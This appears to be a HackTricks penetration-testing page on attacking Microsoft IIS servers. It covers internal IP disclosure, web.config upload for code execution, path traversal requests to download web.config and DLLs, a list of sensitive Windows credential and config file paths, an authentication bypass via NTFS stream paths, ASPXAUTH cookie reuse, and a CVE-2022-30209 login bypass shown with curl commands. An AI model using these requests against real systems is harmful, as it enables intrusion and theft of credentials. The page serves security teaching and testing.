# IIS - Internet Information Services
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### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
{% embed url="https://whiteintel.io" %}
***
Test executable file extensions:
* asp
* aspx
* config
* php
## Internal IP Address disclosure
On any IIS server where you get a 302 you can try stripping the Host header and using HTTP/1.0 and inside the response the Location header could point you to the internal IP address:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
Response disclosing the internal IP:
```
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
## Execute .config files
You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
More information and techniques to exploit this vulnerability [here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## IIS Discovery Bruteforce
Download the list that I have created:
{% file src="../../.gitbook/assets/iisfinal.txt" %}
It was created merging the contents of the following lists:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
Use it without adding any extension, the files that need it have it already.
## Path Traversal
### Leaking source code
Check the full writeup in: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
{% hint style="info" %}
As summary, there are several web.config files inside the folders of the application with references to "**assemblyIdentity**" files and "**namespaces**". With this information it's possible to know **where are executables located** and download them.\
From the **downloaded Dlls** it's also possible to find **new namespaces** where you should try to access and get the web.config file in order to find new namespaces and assemblyIdentity.\
Also, the files **connectionstrings.config** and **global.asax** may contain interesting information.\\
{% endhint %}
In **.Net MVC applications**, the **web.config** file plays a crucial role by specifying each binary file the application relies on through **"assemblyIdentity"** XML tags.
### **Exploring Binary Files**
An example of accessing the **web.config** file is shown below:
```markup
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
This request reveals various settings and dependencies, such as:
* **EntityFramework** version
* **AppSettings** for webpages, client validation, and JavaScript
* **System.web** configurations for authentication and runtime
* **System.webServer** modules settings
* **Runtime** assembly bindings for numerous libraries like **Microsoft.Owin**, **Newtonsoft.Json**, and **System.Web.Mvc**
These settings indicate that certain files, such as **/bin/WebGrease.dll**, are located within the application's /bin folder.
### **Root Directory Files**
Files found in the root directory, like **/global.asax** and **/connectionstrings.config** (which contains sensitive passwords), are essential for the application's configuration and operation.
### **Namespaces and Web.Config**
MVC applications also define additional **web.config files** for specific namespaces to avoid repetitive declarations in each file, as demonstrated with a request to download another **web.config**:
```markup
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **Downloading DLLs**
The mention of a custom namespace hints at a DLL named "**WebApplication1**" present in the /bin directory. Following this, a request to download the **WebApplication1.dll** is shown:
```markup
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
This suggests the presence of other essential DLLs, like **System.Web.Mvc.dll** and **System.Web.Optimization.dll**, in the /bin directory.
In a scenario where a DLL imports a namespace called **WebApplication1.Areas.Minded**, an attacker might infer the existence of other web.config files in predictable paths, such as **/area-name/Views/**, containing specific configurations and references to other DLLs in the /bin folder. For example, a request to **/Minded/Views/web.config** can reveal configurations and namespaces that indicate the presence of another DLL, **WebApplication1.AdditionalFeatures.dll**.
### Common files
From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 404 Error
If you see an error like the following one:
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
It means that the server **didn't receive the correct domain name** inside the Host header.\
In order to access the web page you could take a look to the served **SSL Certificate** and maybe you can find the domain/subdomain name in there. If it isn't there you may need to **brute force VHosts** until you find the correct one.
## Old IIS vulnerabilities worth looking for
### Microsoft IIS tilde character β\~β Vulnerability/Feature β Short File/Folder Name Disclosure
You can try to **enumerate folders and files** inside every discovered folder (even if it's requiring Basic Authentication) using this **technique**.\
The main limitation of this technique if the server is vulnerable is that **it can only find up to the first 6 letters of the name of each file/folder and the first 3 letters of the extension** of the files.
You can use [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) to test for this vulnerability:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
.png>)
Original research: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
You can also use **metasploit**: `use scanner/http/iis_shortname_scanner`
### Basic Authentication bypass
**Bypass** a basic authentication (**IIS 7.5**) trying to access: `/admin:$i30:$INDEX_ALLOCATION/admin.php` or `/admin::$INDEX_ALLOCATION/admin.php`
You can try to **mix** this **vulnerability** and the last one to find new **folders** and **bypass** the authentication.
## ASP.NET Trace.AXD enabled debugging
ASP.NET include a debugging mode and its file is called `trace.axd`.
It keeps a very detailed log of all requests made to an application over a period of time.
This information includes remote client IP's, session IDs, all request and response cookies, physical paths, source code information, and potentially even usernames and passwords.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
## ASPXAUTH Cookie
ASPXAUTH uses the following info:
* **`validationKey`** (string): hex-encoded key to use for signature validation.
* **`decryptionMethod`** (string): (default βAESβ).
* **`decryptionIV`** (string): hex-encoded initialization vector (defaults to a vector of zeros).
* **`decryptionKey`** (string): hex-encoded key to use for decryption.
However, some people will use the **default values** of these parameters and will use as **cookie the email of the user**. Therefore, if you can find a web using the **same platform** that is using the ASPXAUTH cookie and you **create a user with the email of the user you want to impersonate** on the server under attack, you may be able to us**e the cookie from the second server in the first one** and impersonate the user.\
This attacked worked in this [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
## IIS Authentication Bypass with cached passwords (CVE-2022-30209)
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): A bug in the code **didn't properly check for the password given by the user**, so an attacker whose **password hash hits a key** that is already in the **cache** will be able to login as that user .
```python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP
HTTP/1.1 200 OK
```
### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
{% embed url="https://whiteintel.io" %}
Learn AWS hacking from zero to hero withhtARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** π¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** π¦ [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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